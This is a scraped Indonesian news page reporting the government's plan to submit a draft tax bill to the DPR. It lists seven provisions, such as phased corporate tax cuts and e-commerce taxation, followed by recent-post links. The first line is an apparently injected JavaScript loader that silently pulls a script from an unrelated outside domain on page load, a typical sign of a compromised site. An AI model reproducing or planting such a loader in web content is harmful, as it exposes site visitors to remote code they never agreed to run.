(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Pemerintah Serahkan Draf RUU Perpajakan ke DPR Akhir Tahun Ini


Pemerintah tengah menyiapkan draf Rancangan Undang-Undang (RUU) mengenai ketentuan perpajakan yang baru. Direktur Jenderal (Dirjen) Pajak Kementerian Keuangan Robert Pakpahan menargetkan RUU itu sampai di Dewan Perwakilan Rakyat (DPR) akhir tahun ini.

Sebelumnya Menteri Keuangan Sri Mulyani mengatakan, Presiden Joko Widodo (Jokowi) meminta Kementerian Keuangan mematangkan RUU ini terlebih dulu.  Robert pun mengatakan, pihaknya sedang berdiskusi dengan beberapa pihak sebelum draf  diserahkan kepada DPR. “Mudah-mudahan tahun ini bisa menyerahkan ke DPR,” kata dia di kantornya, Jakarta, Kamis (5/9).

Dilansir katadata.co.id, Robert juga berharap RUU tersebut bisa masuk ke Program Legislasi Nasional (Prolegnas) 2020. Dia menargetkan UU perpajakan terbaru itu bisa berlaku pada 2021. “Ini untuk menjawab tantangan ekonomi global,” ucap dia.

Adapun RUU tersebut mencakup tujuh poin perpajakan. Pertama, penurunan tarif Pajak penghasilan (PPh) Badan secara bertahap dari 25% menjadi 22% di tahun pajak 2021 dan 2022. Kemudian menjadi 20% pada tahun pajak 2023. Selain itu, akan dilakukan pengurangan tarif PPh badan go public dengan syarat tertentu.

Ketentuan pertama yakni pemberian tarif 3% dari tarif normal dan berlaku selama lima tahun untuk wajib pajak badan yang baru terdaftar di bursa. Kedua, penghapusan PPh atas dividen dalam negeri dan luar negeri. Hal ini untuk memberi ruang pendanaan dari dalam dan luar negeri untuk menambah investasi.

Ketiga, pengenaan PPh kepada Warga Negara Indonesia (WNI) dan Warga Negara Asing (WNA) sebagai Subjek Pajak Dalam Negeri (SPDN). Keempat, relaksasi hak pengkreditan pajak masukan bagi Pengusaha Kena Pajak (PKP). Hal ini untuk memberikan keadilan, mendorong kepatuhan dan mengurangi hambatan investasi.

Kelima, pengaturan ulang sanksi administrasi perpajakan. Pengaturan ulang ini untuk meningkatkan kepatuhan bayar pajak sukarela. Keenam, menempatkan fasilitas ke dalam UU pajak. Ketujuh, pemajakan atas perdagangan melalui sistem perdagangan elektronik atau e-commerce.(aov/ktd)

Reporter : aov/ktd
Editor : Cell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

7 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

9 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

10 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

11 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

13 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

15 jam ago

This website uses cookies.